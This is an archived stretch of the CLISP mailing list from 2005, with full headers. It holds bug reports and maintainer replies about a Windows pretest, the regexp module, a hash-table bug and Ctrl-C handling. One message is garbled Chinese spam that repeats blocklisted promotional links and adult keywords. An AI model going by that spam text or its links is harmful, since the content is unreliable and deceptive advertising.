C:\cl23382\src\config.lisp ... ;; Wrote file C:\cl23382\src\config.fas 0 errors, 0 warnings ;; Loading file C:\cl23382\src\config.fas ... ;; Loaded file C:\cl23382\src\config.fas T [6]> *********************************************************** Seems a problem with pathnames. See error below cl-step[3]> ... *** - nonexistent directory: #P"C:\\CL23382\\full\\src\\" Typing in the absolute pathname enables cl to find the config.lisp. Maybe readme.de line 81 and 82 needs an update or, as I saw :absolut key in pathnames can do that? (not tested). ************************* [6]> (saveinitmem) 1722896 ; 524288 [7]> (exit) ************************* Creating the start.bat as readme says works fine. :) Congratulation to the new version and thank you for this work. stefan sining: ...wheels in the sky keeps on turning... From eximportchina@yahoo.com Sun Mar 13 23:43:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DAkEg-0001Av-PQ for clisp-list@lists.sourceforge.net; Sun, 13 Mar 2005 23:43:34 -0800 Received: from [221.12.126.93] (helo=yahoo.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DAkEZ-0001sf-W2 for clisp-list@lists.sourceforge.net; Sun, 13 Mar 2005 23:43:34 -0800 From: =?GB2312?B?vKvA1szSu6jUtA==?= To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" X-Priority: 3 X-Mailer: Foxmail 4.1 [cn] Message-ID: X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 NO_RDNS_DOTCOM_HELO Host HELO'd as a big ISP, but had no rDNS 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: egamemp3.com] Subject: [clisp-list] =?GB2312?B?0LTV5s28xqyjoaOho6E=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 13 23:43:49 2005 X-Original-Date: Mon, 14 Mar 2005 15:42:57 +0800
»éǰÐÔÐÐΪ»òÕßѧÉúÐÔ¡­
Ð´ÕæÍ¼Æ¬ ÐԸР͸ÊÓװͼ ÈËÌåÒÕÊõ ñºñ»ÊçÅ® ÃÀÅ® ͵ÅÄͼ ÈËÌåÉãÓ° Ð´Õæ ±ÚÖ½ ÌÀ¼ÓÀö ÌÀ¼ÓÀöÈËÌåÒÕÊõ ÌÀ¼ÓÀöÈËÌåÉãÓ° QQ mp3 Ãâ·ÑµçÓ° Á½ÐÔ Ð´ÕæÍ¼Æ¬ ÓÎÏ· С˵ Èí¼þ ÐÇ×ù ËãÃü ÐÂΊ֪ʶ ÌÒ»¨Ô´ ¼«ÀÖÌÒ»¨Ô´ ѧÉúÐÔÐÐΪ »éǰÐÔÐÐΪ MP3 MP3ÏÂÔØ MP3Ãâ·ÑÏÂÔØ MP3¸èÇúÏÂÔØ MP3²¥·ÅÆ÷ Ó¢ÓïMP3 flash Ãâ·ÑµçÓ° ¼¤ÇéµçÓ° СµçÓ° ÖйúµçÓ° º£ÍâµçÓ° btµçÓ° ¼¤ÇéÐ´Õæ Á½ÐÔ Á½ÐÔ²£Á§ÎÝ Ð¦»° ÌÒÉ« ÐÔ°®¼¼ÇÉ Í¬ÐÔÁµ gay ÓÎÏ· ðÏÕµºÎÞµÐÍâ¹Ò ÅÝÅÝÌà Á¬Á¬¿´ CS·´¿Ö¾«Ó¢ ÍøÓ½ µçÍæ СÓÎÏ· С˵ ÑÔÇéС˵ ÍøÂçС˵ QQ QQ±íÇé QQÈí¼þ QQºÅÂë Èí¼þÏÂÔØ Èí¼þÍøÕ¾ ×¢²áÂë Èí¼þ ÐÇ×ù|ËãÃü ÐÇ×ù ËãÃü Ò×ѧ ÐÂÎÅ NBA ÌìÆøÔ¤±¨ ֪ʶ ÈçºÎ Ϊʲô ʲôÊÇ ÊÇʲô ×î À´Àú ÈçºÎ½ÓÎÇ ÈçºÎ׬Ǯ ÈçºÎÃæ¶Ô´ìÕÛ ÈçºÎÃæ¶Ôʧ°Ü ÈçºÎ»³ÔÐ ÈçºÎ±£»¤»·¾³ ÈçºÎÖÆ×÷ÍøÒ³URLµÄͼ±ê(ICON) ÈçºÎдÂÛÎÄ ÈçºÎ±ÜÔÐ ³£ÓñÜÔз½·¨ ÈçºÎ»¯×± ÈçºÎ»¯×± ÈçºÎ»¯×± ÈçºÎ¼õ·Ê ÔõÑù½ÓÎÇ ¼õ·Ê ¼õ·Ê ΪʲôÄã±³×ÅÎÒ°®±ðÈË ÖйúÈËΪʲô»îµÃÕâôÀÛ ÎªÊ²Ã´ÒªÈëµ³ ΪʲôÊÜÉ˵Ä×ÜÊÇÎÒ Ê²Ã´ÊDz©¿Í ²©¿ÍÊÇʲô ²©¿ÍµÄ¶¨Òå ʲôÊÇblog blogÊÇʲô blogµÄ¶¨Òå ×î׬ǮµÄÐÐÒµ Ê¥µ®½ÚµÄÀ´Àú ´º½ÚµÄÀ´Àú ´º½ÚµÄÓÉÀ´ ¹ýÄêµÄÀ´Àú ÌïÀöÂãÌåÐ´ÕæµçÓ° [http://www.cashmerebiz.com][http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.iqgirl.com] [http://www.exportol.com] [http://www.importol.com] [http://www.1yeq.com][http://www.bootbusiness.com] [http://www.underwearbiz.com][http://www.egamemp3.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] [http://www.cashmerebiz.com http://www.cashmerebiz.com] 0571 87297287 From ampy@ich.dvo.ru Mon Mar 14 04:09:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DAoOH-0005AJ-7B for clisp-list@lists.sourceforge.net; Mon, 14 Mar 2005 04:09:45 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DAoOF-0006Wi-4M for clisp-list@lists.sourceforge.net; Mon, 14 Mar 2005 04:09:45 -0800 Received: from lenin (host-206-54.hosts.vtc.ru [212.16.206.54]) by vtc.ru (8.13.2/8.13.2) with ESMTP id j2EC9DE2023951 for ; Mon, 14 Mar 2005 22:09:16 +1000 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <595104640.20050314220906@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] woe32 pretest: clisp 2.33.82 In-reply-To: <4233A995.D6CE7A9@freenet.de> References: <4233A995.D6CE7A9@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 14 04:10:28 2005 X-Original-Date: Mon, 14 Mar 2005 22:09:06 +1000 > Next keypress (space) the dosbox closed. > Dobleklick on clisp.exe brings the error-message: > Die erforderliche DLL-Datei CYGCRYPT-0.DLL wurde nicht gefunden. I thought I've patched it. Obviosly my patch of 2005-01-10 isn't in pretest distribution. -- Best regards, Arseny From sds@gnu.org Mon Mar 14 08:06:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DAs52-0000ko-Pt for clisp-list@lists.sourceforge.net; Mon, 14 Mar 2005 08:06:08 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DAs50-0008Pt-W9 for clisp-list@lists.sourceforge.net; Mon, 14 Mar 2005 08:06:08 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2EG4H2p005526; Mon, 14 Mar 2005 11:04:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, lin8080 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4233A995.D6CE7A9@freenet.de> (lin's message of "Sun, 13 Mar 2005 03:46:45 +0100") References: <4233A995.D6CE7A9@freenet.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, lin8080 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 14 08:06:50 2005 X-Original-Date: Mon, 14 Mar 2005 11:05:39 -0500 > * lin8080 [2005-03-13 03:46:45 +0100]: > > Use the `full' linking set? (y/n) y > Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? > (y/n) y > associating CLISP with Lisp files under "HKEY_CLASSES_ROOT" > associating CLISP with FAS files under "HKEY_CLASSES_ROOT" > associating CLISP with MEM files under "HKEY_CLASSES_ROOT" > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > file spec > ified. yuk. please edit install.bat and replace "-C" with "-repl" in the "clisp.exe" command line. when you get this error, please type ":w" and see which specific function call triggers this error. thanks! > Die erforderliche DLL-Datei CYGCRYPT-0.DLL wurde nicht gefunden. thanks, fixed in the cvs. > Doing what readme.de says leads to the Errormessage CYGCRYPT-0.DLL is > missing. you are no longer supposed to run "lisp.exe" by hand. always use "clisp.exe". readme.de is out of date. see readme.en. please send a patch to readme.de (and readme.es &c). > Test with c:\clisp-2.33.82\base\lisp.exe -M lispinit.mem > > The file in ~~\full\lisp.exe -M lispinit.mem brings up the Dosbox, the > openscreen and shows a prompt. Continuing what readme.de says the error > comes up: > > ********************************************************** > > [1]> (without-package-lock () (compile-file "src/config.lisp") (load > "src/config > .fas")) > > *** - nonexistent directory: #P"C:\\CLISP-2.33.82\\full\\src\\" > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> you need this step only if you actually modified config.lisp. it should be done in the top-level clisp directory (c:\clisp-2.33.82 in your case), not the "full" subdirectory. > Creating the start.bat as readme says works fine. you do not need any start.bat file. use the shortcut to clisp.exe which install.bat creates. > :) Congratulation to the new version and thank you for this work. thanks for the bug reports! -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're being passed on the right, you're in the wrong lane. From astebakov@yahoo.com Tue Mar 15 10:43:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBH0w-0001Iz-Iq for clisp-list@lists.sourceforge.net; Tue, 15 Mar 2005 10:43:34 -0800 Received: from web52803.mail.yahoo.com ([206.190.39.167]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DBH0v-0004rg-3g for clisp-list@lists.sourceforge.net; Tue, 15 Mar 2005 10:43:34 -0800 Received: (qmail 46839 invoked by uid 60001); 15 Mar 2005 18:43:27 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=vqty46kUpzkWnCimYcBD2/8+WgwmQeF2VZLm6gyJPsD4meT9ANT0THKrsUOtOBboxDEXZTG5P/i/3Pi9wyJ6rdI+Rge8dJAZ4nqIY/X3HfOPRF2xXnVeJZ+vtww497qMwdmstGD9iraNAirMsnQuYysNM10vtuyrgrTOFJr0Um0= ; Message-ID: <20050315184327.46837.qmail@web52803.mail.yahoo.com> Received: from [209.50.91.70] by web52803.mail.yahoo.com via HTTP; Tue, 15 Mar 2005 10:43:26 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] How to hook up the REGEXP module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 15 10:44:12 2005 X-Original-Date: Tue, 15 Mar 2005 10:43:26 -0800 (PST) Hi, I took a native clisp-2.33.1-win32.zip package and my *FEATURES* has: (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) How to I add the regular expression support? Thanks a lot! Andrew __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From sds@gnu.org Tue Mar 15 12:13:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBIPZ-0006tI-0u for clisp-list@lists.sourceforge.net; Tue, 15 Mar 2005 12:13:05 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DBIPW-00064K-3m for clisp-list@lists.sourceforge.net; Tue, 15 Mar 2005 12:13:04 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2FKBCVf016625; Tue, 15 Mar 2005 15:11:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050315184327.46837.qmail@web52803.mail.yahoo.com> (Andrew Stebakov's message of "Tue, 15 Mar 2005 10:43:26 -0800 (PST)") References: <20050315184327.46837.qmail@web52803.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How to hook up the REGEXP module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 15 12:14:10 2005 X-Original-Date: Tue, 15 Mar 2005 15:12:36 -0500 > * Andrew Stebakov [2005-03-15 10:43:26 -0800]: > > I took a native clisp-2.33.1-win32.zip package and my > *FEATURES* has: > > (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP > :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS > :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE > :BASE-CHAR=CHARACTER :PC386 :WIN32) > > How to I add the regular expression support? run as "full/lisp.exe -M full/lispinit.mem" -- Sam Steingold (http://www.podval.org/~sds) running w2k If at first you don't suck seed, try and suck another seed. From aneilbaboo@gmail.com Wed Mar 16 10:26:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBdE9-0005ls-NQ for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 10:26:41 -0800 Received: from wproxy.gmail.com ([64.233.184.206]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DBdE8-0003pe-V6 for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 10:26:41 -0800 Received: by wproxy.gmail.com with SMTP id 68so3359944wri for ; Wed, 16 Mar 2005 10:26:34 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=onjtt7mF0O1WV+3oRxNbQ2vCASNVL+A7Cz3nZhvcM1SZvE/aSmbYFMJ0A4Y18HK4tEiLgUGWZ6TlcSzXoRE326aqnmpwLySL0hGLmGRPu3cPlybf4tyiEIwX5hmd5RCGfjV36YRBr1quMvOuAyJkyiiqZtnVLm4KNr7+GcmkrYw= Received: by 10.54.76.14 with SMTP id y14mr1117033wra; Wed, 16 Mar 2005 10:26:34 -0800 (PST) Received: by 10.54.52.8 with HTTP; Wed, 16 Mar 2005 10:26:34 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 16 10:27:15 2005 X-Original-Date: Wed, 16 Mar 2005 13:26:34 -0500 I think I've found a bug which appears when a a class object is used as a hashkey in an 'equalp hashtable. For example: (defclass x () ()) (gethash (find-class 'x) (make-hash-table :test 'equalp)) causes a program stack overflow & hangs, as will: (gethash (find-class 'standard-class) (make-hash-table :test 'equalp)) whereas, (gethash (make-instance 'x) (make-hash-table :test 'equalp)) and (gethash (... create a struct...) (make-hash-table :test 'equalp)) will complete without error. I have seen this in the latest linux & windows versions (2.33.2-1 and 2.33.1). Aneil Mallavarapu aneil(at)hms.harvard.edu From lisp-clisp-list@m.gmane.org Wed Mar 16 11:31:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBeF5-0001X0-Uq for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 11:31:43 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DBeF1-0002aJ-Sg for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 11:31:43 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DBe4r-0003lH-EE for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 20:21:09 +0100 Received: from 213-172-120-078.dsl.aktivanet.de ([213.172.120.78]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 16 Mar 2005 20:21:09 +0100 Received: from Christian.Schuhegger by 213-172-120-078.dsl.aktivanet.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 16 Mar 2005 20:21:09 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Christian Schuhegger Lines: 40 Message-ID: References: <20030317075353.3E66394FE6@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 213-172-120-078.dsl.aktivanet.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en In-Reply-To: X-Gmane-MailScanner: Found to be clean X-Gmane-MailScanner: Found to be clean X-Gmane-MailScanner-SpamScore: ssss X-MailScanner-From: lisp-clisp-list@m.gmane.org X-MailScanner-To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] How to make clisp exit by a ctrl-c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 16 11:32:22 2005 X-Original-Date: Wed, 16 Mar 2005 20:12:46 +0100 Hello, I created a saved image with an init function: (ext:saveinitmem "pmm.mem" :quiet t :init-function #'production-memory-monitoring::init-function) and I run it like proposed here: Sam Steingold wrote: >>How one can pass arguments to a saved image with a init-function? > > > > > $ clisp -M image.mem "" my-arg1 my-arg2 my-arg3 actually like this: /usr/bin/clisp -norc -M pmm.mem -- prod@some01.machine.com:~/stats-collecting/memory.txt prod@some02.machine.com:~/stats-collecting/memory.txt Because the people that finally will use the program don't know Lisp I would like to have that they can exit the program in any case by pressing ctrl-c. But I noticed that pressing ctrl-c leaves the program in the repl in the debugger. from: http://clisp.sourceforge.net/impnotes.html#script-exec > Non-continuable errors and Control-C interrupts will terminate the execution of the Lisp script with an error status (using EXT:EXIT-ON-ERROR). I see that under "script execution mode" a ctrl-c has this effect. Now my question is, how does clisp decide if it is in "script execution mode" or not? And can I perhaps set some flag that make clisp always exit on ctrl-c? Many thanks for your infos, -- Christian Schuhegger http://www.el-chef.de From sds@gnu.org Wed Mar 16 11:49:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBeWi-0002mB-FR for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 11:49:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DBeWf-0004RQ-DU for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 11:49:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2GJm3nH012560; Wed, 16 Mar 2005 14:48:03 -0500 (EST) To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aneil Mallavarapu's message of "Wed, 16 Mar 2005 13:26:34 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 16 11:50:28 2005 X-Original-Date: Wed, 16 Mar 2005 14:49:28 -0500 > * Aneil Mallavarapu [2005-03-16 13:26:34 -0500]: > > (defclass x () ()) > (gethash (find-class 'x) (make-hash-table :test 'equalp)) > causes a program stack overflow & hangs, as will: > (gethash (find-class 'standard-class) (make-hash-table :test 'equalp)) this works for me with the cvs head. apparently this has been fixed (there have been many changes in hash-tables) Thanks for the bug report! -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: Brain off-line, please wait. From sds@gnu.org Wed Mar 16 13:51:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBgQ8-0002A9-Jw for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 13:51:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DBgQ6-0000Jz-0P for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 13:51:16 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2GLnDXc028353; Wed, 16 Mar 2005 16:49:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, Christian Schuhegger Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Christian Schuhegger's message of "Wed, 16 Mar 2005 20:12:46 +0100") References: <20030317075353.3E66394FE6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Christian Schuhegger Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD 